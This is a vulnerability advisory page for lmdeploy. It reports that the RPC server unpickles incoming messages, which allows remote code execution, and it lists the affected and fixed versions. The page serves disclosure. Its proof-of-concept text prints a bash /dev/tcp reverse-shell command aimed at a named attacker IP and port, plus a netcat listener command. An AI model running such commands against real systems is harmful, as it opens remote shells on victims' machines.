Skip to content
Heist/ feed
CriticalFix available

LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy

Type: advisorySource: OSVRisk context updated1 source record

### Description The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server. ### Proof of Concept * Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py. * Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell: In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port. * Step3: Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attack

Announced Source revision 2
Original source ↗
CVE context updated. The publisher announcement is unchanged.

PYSEC-2026-4079

Primary source · Revision 2

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:PYSEC-2026-4079

lmdeploy

Source reference: /affected/0/package/name

Affected versions
0.10.0

Source reference: /affected/0/versions

0.10.1

Source reference: /affected/0/versions

0.9.1

Source reference: /affected/0/versions

0.9.2

Source reference: /affected/0/versions

0.9.2.post1

Source reference: /affected/0/versions

Fixed versions
0.10.2

Source reference: /affected/0/ranges

Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "ranges": [
      {
        "type": "ECOSYSTEM",
        "events": [
          {
            "introduced": "0.9.1"
          },
          {
            "fixed": "0.10.2"
          }
        ]
      }
    ],
    "package": {
      "name": "lmdeploy",
      "purl": "pkg:pypi/lmdeploy",
      "ecosystem": "PyPI"
    },
    "versions": [
      "0.10.0",
      "0.10.1",
      "0.9.1",
      "0.9.2",
      "0.9.2.post1"
    ],
    "database_specific": {
      "source": "https://github.com/pypa/advisory-database/blob/main/vulns/lmdeploy/PYSEC-2026-4079.yaml"
    }
  }
]
Related CVEs
CVE-2025-59953

Source reference: /aliases

Publisher severity

No explicit severity was provided.

Linked CVE context

These ratings describe the referenced vulnerabilities and products. They are not a severity rating for every application using this dependency.

Event
#62538 · Revision 2
Added to Heist Feed
Publisher date
Read the original announcement